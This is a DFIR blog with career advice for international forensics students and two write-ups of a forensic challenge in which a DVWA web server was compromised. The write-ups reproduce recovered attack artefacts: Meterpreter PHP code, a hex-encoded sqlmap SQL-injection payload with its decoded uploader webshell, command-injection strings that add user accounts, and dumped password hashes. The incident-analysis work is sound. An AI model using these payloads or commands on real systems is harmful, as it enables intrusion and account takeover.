Sunday, January 21, 2018

DFIR Jobs -- International student version

As an adjunct professor at George Mason University's MS in Computer Forensics program I've met a lot of great students over the years, many of which are now friends and co-workers.  I'm hoping talking about this might help international students in the United States or those that are involved in their career paths.

Just about year round I spend a substantial amount of time advising students on how to find DFIR jobs. I often try to put myself in their shoes, which is wild. Being in a foreign country unsure of all the cultural nuances, (possibly) the language and doing well academically. All for the end goal of trying to find find a DFIR job in the states. I'd certainly want some help if I was in another country under the circumstances! Wouldn't you?

The jobs and situations all vary as some students have no experience while others have a good bit. One thing always remains the same; most need help.  This can be in the form introductions, relationship building, career path advice, references and many other areas.

Many of my students are international and here on a F-1 visa. Once they graduate from the Master's program almost all students want to find a job in the digital forensics or incident response space. Every semester I'm always pleasantly surprised as most of my students are very proactive about their job searches and truly want a career in the United States.

Most of my students with F-1 visa successfully receive an OPT visa, which stands for optional practice training. This allows a F-1 student visa holder to gain temporary employment in a field directly related to their major. There are two tops of OPT visas.
  • Pre-completion: once students have completed 1 year of academic study, students can work part time when in school and full time when not in school.
  • Post-completion: Once students have completed their degree they can work part time (20+ hours a week) or full time.
For science, technology, engineering and math (STEM) majors, which computer forensics is, an 24 month OPT extension can also be applied for. If a student has found employment, their employer must be E-Verified. In a perfect world, 36 months of work could be possible for a F-1 visa holder before needing H-1B sponsorship.

One thing to keep in mind though is that eventually students will need to find sponsorship by an employer. Be very sure to discuss this with your employer and make sure you know where things stand before and during your employment. I know several students who got jobs and thought everything was solid until their employer came in late saying they weren't actually E-Verified. Many times this happens later on make timelines tight, sometimes even after important deadlines have past like the H-1B lottery.

Getting the DFIR job:

  • Start your job search early! If you wait until you finish studying you'll behind the curve and have a much more difficult time landing the role you want. Many Universities have strong career resources, use them. University career fairs may seem overly competitive but don't be frightened off. Use this time as practice being in front of a potential employer, you get better with practice.
  • Go after an internship. Don't be worried if it's not the junior level role you hoped for. Many (most?) DFIR internships i've seen are paid. My team has two interns ever summer and we do our best to put them in front of exciting work. We have a list of projects at all time so it's a great time for interns to pick one they are passionate about. We've hired several of our interns as junior analysts, so that's something to think about. It's an 2-3 month interview process for both sides, them and us.
  • Network, network, network! Many (hopefully) of your professors currently work in the industry, or previously have. This means they've likely been working in the space for sometime and have built solid relationships along the way. Take advantage of that. Ask them to connect on LinkedIn. There is a strong demand for junior roles and an even stronger one for experienced ones. 
In Summary:

It's certainly not easy to be an international student today with any certainty that you'll find gainful, sponsored, employment. With that said, there are people that want to and can help you. First things first, make sure the educational program you are interested in is solid! Do they best you can to ensure your program is going to prepare you for getting your first job, promoting yourself or switching careers. I wrote this with a goal of sharing what I've seen as many don't know the struggle of students coming to the United States from other countries. I also did this to grow my understanding of the current climate, logistical and legal issues facing International students especially those who are or want to be in the DFIR field. If I missed anything, or if you have something to share please let me know in the comments section!




Friday, July 29, 2016

Solving the Binary Zone Forensic Challenge #4 (question #5)

In my previous post I discussed solving the Binary Zone Forensic Challenge #4 you can read up on in here. All and all I felt good about my answers, knowing I missed a few smaller findings due to time, but captured the main essence of the webserver compromise. The one question that I was not able to answer initially, and that bothered me the most, was question #5. Specifically, "Using memory forensics, can you identify the type of shellcode used?" I figured since the question was asked there was a very strong chance it occurred- and just like you I'm always looking to up my game when it comes to detection, it's such a critical skill set to grow and learn. 

If you didn’t read my initial blog on this challenge, I previously looked for said shellcode using a combination of using both Volatility's malfind and yarascan plugins in an automated and manual fashion. The first method, "malfind", helps identify suspect and malicious [executable] code in memory. Furthermore it uses a heuristic mechanism with comparing memory page permissions and VAD tags. The later, yarascan, leverages Yara's advanced pattern matching capabilities to find strings and byte patterns. Malfind can also accept Yara rules the same way yarascan can with the syntax --yara-rules=rules.yar.

So Where's the Shellcode?!

The short answer is that I'm still not sure where it is per se, but I found use of a mechanism in memory where the attacker had a platform to run exploits if they wished. Specifically the Metasploit Meterpreter which in this case was the PHP version- more on that here.  Reading this article more also eluded to the fact that this is likely the environment that was used by the attacker, the DVWA or damn vulnerable web application. This has a remote file inclusion (RFI) capability that allowed our attacker to upload a malicious .PHP page which was our aforementioned PHP Meterpreter. This module has the ability to run multiple arbitrary commands from an attacker.


So how did I find the Metasploit PHP Meterpreter? As it turns out I had run Bulk Extractor against the memory image like I usually do during memory analysis (more on Bulk Extractor later). For some reason I had forgot to review the data.


Bulk Extractor is very fast in processing and only takes a few arguments to start processing. I usually just go the kitchen sink route and parse it with everything. The syntax is as follows:

bulk_extractor -o <Output folder created by BE> memory.mem 


If you didn't want to parse everything, you could parse just the network based artifacts like this:
gmucfrs$ bulk_extractor -x all -e net -o BEoutput memdump.mem

the "-x all" turns off all the scanners and the "-e net" enables the network scanner where the PCAP carver lives, enabling it. 

gmucfrs$ bulk_extractor -o BE_networkoutput memdump.mem

bulk_extractor version: 1.5.5


Hostname: siftworkstation


Input file: memdump.mem


Output directory: BEoutput


Disk Size: 1073676288


Threads: 2

Attempt to open memdump.mem

17:45:24 Offset 67MB (6.25%) Done in  0:03:36 at 17:49:00

<truncated for berevity>

17:50:54 Offset 905MB (84.38%) Done in  0:01:03 at 17:51:57

17:51:03 Offset 989MB (92.19%) Done in  0:00:30 at 17:51:33

All data are read; waiting for threads to finish...
Time elapsed waiting for 2 threads to finish:
All Threads Finished!
Producer time spent waiting: 216.474 sec.
Average consumer time spent waiting: 44.0137 sec.

Once completed your parsed output resides in the folder that you named for Bulk Extractor to created, in my case "BEoutput".




The extracted memory PCAP resides in the file "packets.pcap". Everyone has there own flavor of reviewing PCAP data, some like Wireshark and NetworkMiner. Personally I really like NetWitness's Investigator product for PCAP analysis. My previous analysis outlined how the attacker from the IP address 192.168.56.102 was doing a bunch of bad stuff, like creating new accounts on our victim webserver, so I started PCAP analysis there. The following screenshot shows a suspect entry of interest. The items in blue are metadata and the items in green are the sessions. Notice how NetWitness has also fingerprinted the Hostname of the attacker as "kali"? Kali is a Linux build put together by Offensive Security which contains multiple attacking and exploitation tools. Think of it as an offensive toolset baked into a OS similar how SAN's has made SIFT for defenders.


After clicking on the (1) to drill in to the session detail and reviewing the text output we can see that we have MetaSploit Metepreter usage in play from the code below found in the session between 192.168.56.101 and 192.168.56.102. The session detail in red shows the source IP of our victim (192.168.56.101) communicating via port 51153 to our attacking host running Kali Linux on port 4545. Port 4545 is known to be the default reverse shell handler port for some Metasploit modules. 


my_print("Evaling main meterpreter stage");




Further review of the code found in the session lines up very nicely with Rapid 7's PHP Meterpreter (meterpreter.php - code here) - notice the hex bytes at the end attached to the "PAYLOAD_UUID"

if (!isset($GLOBALS['commands'])) {
    $GLOBALS['commands'] = array("core_loadlib", "core_machine_id", 
"core_uuid");

}

function register_command($c) {
    global $commands;
    if (! in_array($c, $commands)) {
        array_push($commands, $c);
    }
}

function my_print($str) {
    
}

my_print("Evaling main meterpreter stage");

function dump_array($arr, $name=null) {
    if (is_null($name)) {
        $name = "Array";
    }
    my_print(sprintf("$name (%s)", count($arr)));
    foreach ($arr as $key => $val) {
        if (is_array($val)) {
            
            dump_array($val, "{$name}[{$key}]");
        } else {
            my_print(sprintf("    $key ($val)"));
        }
    }
}
function dump_readers() {
    global $readers;
    dump_array($readers, 'Readers');
}
function dump_resource_map() {
    global $resource_type_map;
    dump_array($resource_type_map, 'Resource map');
}
function dump_channels($extra="") {
    global $channels;
    dump_array($channels, 'Channels '.$extra);
}

if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
    $f = @fopen($file,"rb");
    $contents = false;
    if ($f) {
        do { $contents .= fgets($f); } while (!feof($f));
    }
    fclose($f);
    return $contents;
}
}

if (!function_exists('socket_set_option')) {
function socket_set_option($sock, $type, $opt, $value) {
    socket_setopt($sock, $type, $opt, $value);
}
}

define("PAYLOAD_UUID", "\xd2\x41\x05\xda\x81\x9e\x73\x8f\x25\xf7\x36
\xf8\x70\x10\xd2\x9d");


Pivot back to Memory:

We can confirm things on the memory side with yarascan. The -s 500 displays 500 bytes of output rather than the default 320 bytes.  Two hits come of this search shown below related to a Yara strings search of "meterpreter".

gmucfrs$ 
vol.py -f memdump.mem --profile=Win2008SP1x86 yarascan -s 500 --yara-rules="meterpreter"





Now we've confirmed that the Metaspoit Meterpreter is running on one of the multiple Apache web services, PID 2880 - HTTPD.exe.

Bulk Extractor Background

For those who aren't familiar with it, it's authored by Simpson Garfinkel and the ForensicsWiki describes Bulk Extractor as "a computer forensics tool that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. The results can be easily inspected, parsed, or processed with automated tools. bulk_extractor also creates a histograms of features that it finds, as features that are more common tend to be more important. The program can be used for law enforcement, defense, intelligence, and cyber-investigation applications". I enjoy reviewing BE output specifically around PCAP data, along with the Domain and IP histogram data which has proven very fruitful in some of my work related cases. These three things are just a few of the many unique outputs that this tools provides. The Volatility team did a nice blog on Bulk Extractor in January 2015 which can be found here.    

Conclusion

While I did not find direct evidence of direct shellcode use in memory, I did find an avenue in which at attacker could utilize shellcode as part of Metasploit payloads. This occurred through the successful upload of the PHP flavor of the Metaspoit Meterpreter through RFI - a vulnerability that was exploited on our victim's webserver ultimately allowing this to happen.

Sunday, November 29, 2015

Solving the Binary Zone Forensic Challenge #4

In this blog post I'll be talking about about an awesome forensic challenge put on by a friend - @binaryz0ne in September 2015. The challenge can be found here: http://www.binary-zone.com/2015/09/16/digital-forensic-challenge-4/

As @hiddenillusion taught me, "sharing is caring". Hopefully my analysis will help others who are interested in forensics and are interested in deep dive analysis. I also remember a tweet from him regarding doing forensics "dongle free" which rang true for this exercise. Finally, my friend @wesleyriley always reminds me that we (analysts) do blogs as they are great reference materials for ourselves!

I want to provide a technical walk through of how one could do analysis for this intrusion scenario. Each question that has an analytical component has some or all of the technical steps I used to arrive at my finding listed first. Summary answers are listed at the end of the question.

The challenge specifies that we all work should be done with open source tools. I used several during my analysis.
  • Volatility 2.4 - http://www.volatilityfoundation.org/#!24/c12wa
    • Volatility 2.5 is out, download and use it when you try this challenge on your own. It can be downloaded here - http://www.volatilityfoundation.org/#!25/c1f29
  • Sift 3.0 - SANS has grouped an awesome amount of tools in once place, and made everything super easy to install. I went the VM route and created a SIFT VM based on their instructions:
    • Download Ubuntu 14.04 ISO file and install Ubuntu 14.04 on any system. -> http://www.ubuntu.com/download/desktop
    • Once installed, open a terminal and run "wget --quiet -O - https://raw.github.com/sans-dfir/sift-bootstrap/master/bootstrap.sh | sudo bash -s -- -i -s -y" 
The scenario is that a company's webserver has been compromised and they have reached out for third party (you!) analysis of the disk and memory based artifacts. Luckily, we were able to arrive on-site and pull disk and memory with the system still powered on.

Question 1: What type of attacks has been performed on the box?

Luckily for us we have a couple threads to pull on. The first being that we have a compromised webserver. The second is that the some of the questions hint at an attacker adding account(s) and tools to the victim webserver.

My approach was to dive into memory analysis and try to answer as much as I could there first. I've mentioned publicly before in my presentation Memory Forensics for IR - Leveraging Volatility to Hunt Advanced Actors that there is a wealth of information to be found in memory. Intrusion investigations greatly benefit from memory analysis due to the amount of artifacts that attackers leave behind. In some cases, there are artifacts that can only be found in memory. Some examples include malware and malware based artifacts (malicious code, configuration data) and Windows registry data like Shimcache.

After confirming my memory image hash matched what was provided by our client, I first focused on question 2. If there are user accounts added to a machine, memory is a great starting point. Let's see what type of webserver we're tackling. I used Volatility here to fingerprint the OS.

gmucfrs$ vol.py -f memdump.mem imageinfo

Determining profile based on KDBG search...

          Suggested Profile(s) : VistaSP1x86, Win2008SP1x86, Win2008SP2x86, VistaSP2x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem)
                      PAE type : PAE
                           DTB : 0x122000L
                          KDBG : 0x81716c90
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x81717800
             KUSER_SHARED_DATA : 0xffdf0000
           Image date and time : 2015-09-03 10:04:05 UTC+0000
     Image local date and time : 2015-09-03 03:04:05 -0700


Since it's a Window's host, let's see what the kernel debugger block says and compare against the imageinfo command.

gmucfrs$ vol.py -f memdump.mem kdbgscan

Volatility Foundation Volatility Framework 2.4
**************************************************
Instantiating KDBG using: /mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem WinXPSP2x86 (5.1.0 32bit)
Offset (P)                    : 0x1716c90
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win2008SP1x86
Version64                     : 0x1716c68 (Major: 15, Minor: 6001)
PsActiveProcessHead           : 0x8172c990
PsLoadedModuleList            : 0x81736c70
KernelBase                    : 0x8161f000
<snip>

The Win2008SP1x86 looked like a good starting point and ended up being correct. I later pulled the SYSTEM registry hive and confirmed this was a Windows Server 2008 with Service Pack 1.

One other thing I always try to do is understand the time frame the system was up and running for which my memory image was taken for. To do this I compare the Windows SYSTEM hive's key: "ControlSet001\Control\Windows" which gives me the systems last shutdown time against the image time pulled from Volatility's imageinfo command (above). Volatility has added a new plugin in version 2.5 to pull this key's last update time called "shutdowntime" which makes life easier.

Output from Volatility's imageinfo command against the image (full output above):

Image date and time : 2015-09-03 10:04:05 UTC+0000
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 printkey -K "ControlSet001\Control\Windows"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable   (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: Windows (S)
Last updated: 2015-08-24 07:14:20 UTC+0000
After comparing the two, we know we have a memory sample which encompasses ~10 days of up-time, which is a great thing as we aren't always as lucky to have memory from a system that has been up and running for so long.

Next I pulled the network connections and looked for anything of interest

gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 netscan

Below is  truncated listing of network connections. Highlights include established and closed connections with the IP address 192.168.56.1 over port 5357 and closed/residual connections with the same IP. The process httpd.exe tells us we have an Apache webserver running and we also have a MYSQL server running/listening through the mysqld.exe.

Network Connections of Interest
There were a lot of PID 1108 SVCHOST.exe processes running - knowing that we had an established connection with one of these processes I began to dig deeper. To do this I dumped all the PID 1108's processes memory and ran ASCII and Unicode strings against it to see what shook out.

gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 memdump -p 1108 -D ./1108proc

Volatility Foundation Volatility Framework 2.4
Writing svchost.exe [  1108] to 1108.dmp

gmucfrs$ strings -a 1108.dmp > 1108strings.txt (creates ASCII stings for the 1108.dmp file)
gmucfrs$ strings -a -el 1108.dmp >> 1108strings.txt (creates & appends UNICDOE strings to the strings file)

After reviewing the process strings I saw several things of interest: There were many strings for DVWA with URL path's for SQLi, XSS and other vulnerability folders. DVWA, or damn vulnerable web application (http://www.dvwa.co.uk/) is an vulnerable webserver/application that is used for practicing the process of securing web servers and related web applications.

Some strings of interest related to SQLi  and URL encoded commands:
  • Damn Vulnerable Web Application (DVWA) v1.8
  • Referer: http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
  • Referer: http://192.168.56.101/dvwa/setup.php act=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=dir&cmd_txt=1&submit=Execute
  • Referer: http://192.168.56.101/dvwa/c99.php?act=cmdact=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=netstat+-an&cmd_txt=1&submit=Execute
  • /dvwa/vulnerabilities/sqli/?id=2%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a717871%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7170706271%29--%20&Submit=Submit HTTP/1.1
At this point I knew that I likely had some evidence that the attacker at 192.168.56.1 was involved with attempting to exploit our victim 192.168.56.101 - which was a vulnerable webserver running Damn Vulnerable Web Application. Next, I used Volatility to dump the process memory for the SVCHOST.exe (PID 1108). Strings are a good starting point in attempts to gain more info about the process and what was going on.

I figured I could go back to our Apache "access.log" log file and start working the disk side of the house. First I needed to mount our raw (.DD) disk image, but needed to understand the drive details. Specifically our starting sector and our sector size with The Sleuth Kit ver 4.1.3's MMLS, which is baked into our Sift installation. We could also use our native Linux fdisk to find out this information with this command: fdisk -l s4a-challenge4

gmucfrs$ mmls -B s4a-challenge4 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

    Desc      Slot        Start        End             Length        Size          
00:  Meta    0000000000   0000000000    0000000001     0512B     PrimaryTable(#0)
01:  -----   0000000000   0000002047    0000002048     1024K     Unallocated
02:  00:00   0000002048   0052426751    0052424704     0024G     NTFS (0x07)
03:  -----   0052426752   0052428799    0000002048     1024K     Unallocated


We can see that we have multiple partitions, 02 is NTFS and is ~24 gigabytes in size. The starting sector is 2048, our sectors are 512 bytes in size. We need to multiply the starting sector by the sector size to get the offset needed to mount the NTFS partition.

gmucfrs$ mount -t ntfs-3g -o loop,ro,nodev,noatime,show_sys_files,streams_interface=windows,offset=1048576 s4a-challenge4 /home/gmucfrs/Desktop/mount_points/windows_mount

The drive was mounted successfully. We confirmed this by using the native Linux df command.
gmucfrs$ df -h

/dev/loop0       25G  8.0G   18G  32% /mnt/windows_mount

Next I kicked off a timeline with log2timeline.py. I did a sudo su before hand to elevate privileges.

gmucfrs$ log2timeline.py ./timeline/timeline.body s4a-challenge4
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# mkdir timeline
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# log2timeline.py ./timeline/timeline.body s4a-challenge4 

[INFO] Data files will be loaded from /usr/share/plaso by default.
Source path : /mnt/hgfs/Challenges/binaryzone_9-16-15/host image/s4a-challenge4
Processing started.
2015-11-25 15:25:17,660 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: sysregistry to /Windows/System32/config
2015-11-25 15:25:19,351 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: osversion to Windows Server (R) 2008 Standard
<SNIP>

Now I processed the body file into a CSV:

gmucfrs$ psort.py -o l2tcsv -w timeline.csv timeline.body
[INFO] Data files will be loaded from /usr/share/plaso by default.
[INFO] Output processing is done.
*********************************** Counter ************************************
            Stored Events : 705295
          Events Included : 705249
       Duplicate Removals : 319492

Q1 answers: What type of attacks has been performed on the box?

(more detail provided later on this)



  • A webshell that provided a Windows reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
  • The Apache access.log log file shows successful SQL Injection activity from the attackers IP address of 192.168.56.102.
  • Question 2: How many users has the attacker(s) added to the box, and how were they added?

    While the timeline was processing, I pivoted to question 2 - "How many users has the attacker(s) added to the box, and how were they added?" Since we had memory, I wanted to see what attacker activity might exist related to command history, which could lead to account creation. The Volatility plugin "consoles" immediately came to mind as this can provide Windows command shell activity by enumerating the console information that lives in csrss.exe processes (in our sample csrss.exe PID's 484 and 524) while also scraping the screen buffer detail from the cmd.exe console itself. 

    All of this is outlined in great detail the Volatility team's awesome book "The Art of Memory Forensics". I simply cannot recommend this incredible resource enough.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 psscan | grep csrss
    Volatility Foundation Volatility Framework 2.4
    0x000000003f512208 csrss.exe           484    472 0x3f4a7060 2015-08-23 20:27:22 UTC+0000           0x000000003f52d530 csrss.exe           524    516 0x3f4a70a0 2015-08-23 20:27:28 UTC+0000  

    This was one of the most fruitful pivots during my investigation here - a goldmine of command line activity was found. I'll give an abbreviated output which relates to Q2 and the user account additions.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 consoles
    ----
    CommandHistory: 0x5a24708 Application: cmd.exe Flags: Allocated, Reset
    CommandCount: 17 LastAdded: 16 LastDisplayed: 16
    FirstCommand: 0 CommandCountMax: 50
    ProcessHandle: 0x2d8
    Cmd #0 at 0xe907c8: ipconfig
    Cmd #1 at 0xe91af8: cls
    Cmd #2 at 0xe91db0: ipconfig
    Cmd #3 at 0x5a34bd0: net user user1 user1 /add
    Cmd #4 at 0x5a34eb8: net user user1 root@psut /add
    Cmd #5 at 0x5a34c10: net user user1 Root@psut /add
    Cmd #6 at 0x5a24800: cls
    Cmd #7 at 0x5a34c58: net /?
    Cmd #8 at 0x5a34d88: net localgroup /?
    Cmd #9 at 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add

    C:\Users\Administrator>net localgroup "Remote Desktop Users" user1 /add         

    The command completed successfully.  

    Where possible it's helpful to duplicate our analysis with other tools or techniques. Since the csrss.exe PID's are 484 and 524, we can leverage Volatility's yarascan plugin to scan process memory against these:

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 yarascan -p 524 --wide --yara-rules="user1"


    Volatility Foundation Volatility Framework 2.4
    Rule: r1
    Owner: Process csrss.exe Pid 524
    0x05a196ba  75 00 73 00 65 00 72 00 31 00 20 00 2f 00 61 00   u.s.e.r.1.../.a.
    0x05a196ca  64 00 64 00 20 00 20 00 20 00 20 00 20 00 20 00   d.d.............
    0x05a196da  20 00 20 00 20 00 54 00 68 00 65 00 20 00 63 00   ......T.h.e...c.
    0x05a196ea  6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 63 00   o.m.m.a.n.d...c.
    0x05a196fa  6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00   o.m.p.l.e.t.e.d.
    0x05a1970a  20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00   ..s.u.c.c.e.s.s.

    0x05a1971a  66 00 75 00 6c 00 6c 00 79 00 2e 00 20 00 20 00   f.u.l.l.y.......

    We can see a success for the account creation for the user "user1".

    Going back through our strings of PID 1108 there's an entry for web activity that appears to have caught account creation activity for an account "hacker" from what appears to be the IP 192.168.56.102

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: security=low; PHPSESSID=14fe301rno6vq8tsiicedeua01
    Connection: keep-alive
    gma: no-cache
    Cache-Control: no-cache,no-store
    : close
    Pragma: no-cache
    Cache-Control: no-cache,no-store
    Content-Length: 94

    ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$

    After URL un-encoding we have:
    ip=192.168.56.102+&&+net+localgroup+"Remote+Desktop+Users"+hacker+/add&submit=submit$

    We also have another string in the 1108 process that appear to have caught the addition of the account too through a net user command:

    6.102+%26%26+net+user+hacker+hacker+/add&submit=submit

    The Apache process (PID 2880) also had strings of activity related to the addition of the hacker account, and the addition of that account to the local group "Remote Desktop Users":

    Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
    net user hacker /add
    "ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$"
    net localgroup Remote Desktop Users hacker /add

    Unfortunately consoles and yarascan didn't pick up the hacker account creation like it did for the "user1" account. The attacker may have created it in another fashion. Let's use Volatility to dump the Windows account hashes and see what shakes out.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 hashdump
    Volatility Foundation Volatility Framework 2.4

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:63d6a39b8467b94ae92ab1931d4079dd:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    user1:1005:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::
    hacker:1006:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::

    Since I wanted to have some timeline information about use account creations I used RegRipper to parse the Windows SAM registry hive (C:\windows\system32\config/SAM). RegRipper is a fantastic tool for parsing the registry that is leveraged from the CLI or from a Windows GUI. The SIFT 3.0 workstation has it baked in. I found where it was located - "locate rip.pl" and navigated to  "/usr/local/bin" for execution.

    gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam

    Username        : user1 [1005]
    Full Name       :
    User Comment    :
    Account Type    : Custom Limited Acct
    Account Created : Wed Sep  2 09:05:06 2015 Z
    Last Login Date : Never
    Pwd Reset Date  : Wed Sep  2 09:05:06 2015 Z
    Pwd Fail Date   : Never
    Login Count     : 0
      --> Normal user account

    Username        : hacker [1006]
    Full Name       :
    User Comment    :
    Account Type    : Custom Limited Acct
    Account Created : Wed Sep  2 09:05:25 2015 Z
    Last Login Date : Never
    Pwd Reset Date  : Wed Sep  2 09:05:25 2015 Z
    Pwd Fail Date   : Never
    Login Count     : 0

      --> Normal user account

    These user's match up to what we found when we ran through Volatility's hashdump plugin. We also see the successful addition of both accounts to the Group "Remote Desktop Users". This corroborates the user account activity we saw and can likely be tied back to webshell or a reverse shell.

    Group Name    : Remote Desktop Users [2]
    LastWrite     : Wed Sep  2 09:19:24 2015 Z
    Group Comment : Members in this group are granted the right to logon remotely
    Users :
      S-1-5-21-3848053756-3249532031-1848221756-1005

      S-1-5-21-3848053756-3249532031-1848221756-1006

    Q2 answers: How many users has the attacker(s) added to the box, and how were they added?

    Two new user account were added to the victim webserver by the attacker - "user1" and "hacker". Both were added via net user commands which were issued via a Windows reverse command shell.

    Question3: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks).

    To answer this question I wanted to firm up some of the findings from memory analysis. Specifically, I wanted to look more into the disk aspect of the investigation. Since we knew that there was an Apache server running a great place to start is the "access.log" log file. After mounting our evidence I was able to run the locate file to find it:

    gmucfrs$ locate access.log

    /mnt/windows_mount/xampp/apache/logs/access.log

    Since we were told that we got there while the attacker was recently active I started at the end of the log file and worked towards the beginning. I ran into successful SQL injection on Sep1 2015 10:04 PM (GMT). 

    192.168.56.102 - - [02/Sep/2015:04:25:52 -0700] "GET /dvwa/vulnerabilities/sqli/?id=2%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fxampp%2Fhtdocs%2Ftmpukudk.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20&Submit=Submit HTTP/1.1" 200 4893 "-" "sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)"

    The decoded hex showed a successful upload of the webshell  "tmpudvfh.php" with the tool SQLMAP.

    GET /dvwa/vulnerabilities/sqli/?id=2' LIMIT 0,1 INTO OUTFILE '/xampp/htdocs/tmpudvfh.php' LINES TERMINATED BY <?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?> &Submit=Submit

    I started to go through the log with some of the IOC's that I knew, the webshell(s), the user account names and so on in efforts to figure out what tools and artifacts were left on the victim webserver. I parsed the Administror's account "NTUSER.dat" hive and found wordpad activity related to c99.php:

    LastVisitedPidlMRU
    LastWrite: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      wordpad.exe - My Computer\C:\xampp\htdocs\DVWA

    OpenSavePidlMRU
    LastWrite: Thu Sep  3 07:20:37 2015
    OpenSavePidlMRU\*
    LastWrite Time: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      My Computer\C:\xampp\htdocs\DVWA\c99.php

    OpenSavePidlMRU\php
    LastWrite Time: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      My Computer\C:\xampp\htdocs\DVWA\c99.php

    OpenSavePidlMRU\rtf
    LastWrite Time: Thu Sep  3 07:20:33 2015
    Note: All value names are listed in MRUListEx order.

    I decided to take a quick look at the webshell itself. It was quite large and appeared to have a bunch of expected webshell functionality. Walking through the timeline csv from I also was able to deduce that the attacker added "Owned by Hacker" using wordpad on September 3 2015 07:20 PM (UTC). This came from the above NTUSER.dat parsing and reviewing the last modified time of c99.php along with the other most recently used (MRU) registry artifacts.

    the attacker added text to c99.php

